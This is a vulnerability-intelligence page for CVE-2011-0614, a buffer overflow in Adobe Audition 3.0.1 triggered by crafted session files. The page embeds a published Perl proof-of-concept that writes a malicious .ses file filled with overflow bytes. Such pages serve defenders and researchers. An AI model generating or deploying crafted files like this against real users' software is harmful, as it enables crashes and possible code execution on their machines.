VIR Vulnerability Intelligence Relay

CVE-2011-0614

critical
Published 2011-05-16 · Modified 2026-04-29
💬 Discuss on Community ✚ Propose mitigation
CVSS v3
—
CVSS v4 NEW
—
not yet in upstream
VIR risk
10.0

Description

Buffer overflow in Adobe Audition 3.0.1 and earlier allows remote attackers to cause a denial of service (memory corruption and application crash) or possibly execute arbitrary code via a crafted Audition Session (aka .ses) file.

Predictions

Exploit likelihood
20%
Patch ETA
—

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-17278 dos windows verified perl · 6 KB
LiquidWorm · 2011-05-13

Adobe Audition 3.0 build 7283 - Session File Handling Buffer Overflow (PoC)

perl exploit Source: Exploit-DB 
#!/usr/bin/perl
#
#
# Adobe Audition 3.0 (build 7283) Session File Handling Buffer Overflow PoC
#
#
# Vendor: Adobe Systems Inc.
# Product web page: http://www.adobe.com/products/audition/
# Affected version: 3.0 (build 7238)
#
# Summary: Recording, mixing, editing, and mastering — Adobe® Audition® 3 software is the
# all-in-one toolset for professional audio production.
#
# Desc: Adobe Audition suffers from a buffer overflow vulnerability when dealing with .SES
# (session) format file. The application failz to sanitize the user input resulting in a
# memory corruption, overwriting several memory registers which can aid the atacker to gain
# the power of executing arbitrary code or denial of service.
#
# Tested on Microsoft Windows XP Professional SP3 (English)
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# liquidworm gmail com
# Zero Science Lab - http://www.zeroscience.mk
#
#
# http://img225.imageshack.us/img225/9871/boferror.jpg
#
#
# Zero Science Lab Advisory ID: ZSL-2011-5012
# Zero Science Lab Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5012.php
#
# Adobe Advisory ID: APSB11-10
# Adobe Advisory URL: http://www.adobe.com/support/security/bulletins/apsb11-10.html
#
# CVE ID: CVE-2011-0614
#
#
# 18.09.2009
#


$data = "\x43\x4F\x4F\x4C\x4E\x45\x53\x53\x50\xF2\x08\x00".
	"\x68\x64\x72\x20\xF0\x03\x00\x00\x22\x56\x00\x00".
	"\xFC\x17\x0A\x00\x00\x00\x00\x00\x20\x00\x01\x00".
	"\x00\x00\x00\x00\x00\x00\xF0\x3F\x00\x00\x00\x00".
	"\x00\x00\xF0\x3F\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
	"\x41\x41\x41\x41\x00";


$FNAME = "Assassin.ses";

print "\n\n[*] Creating malicious session file: $FNAME ...\r\n";

open(ses, ">./$FNAME") || die "\n\aCannot open $FNAME: $!";

print ses "$data";
sleep(1);

close (ses);

print "\n[*] Malicious session file successfully crafted!\r\n\n";

Application impact
VendorProductVersionsFixed
adobe adobeaudition{"endIncluding":"3.0.1"}
adobe adobeaudition3.0

References

CWEs

CWE-119

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.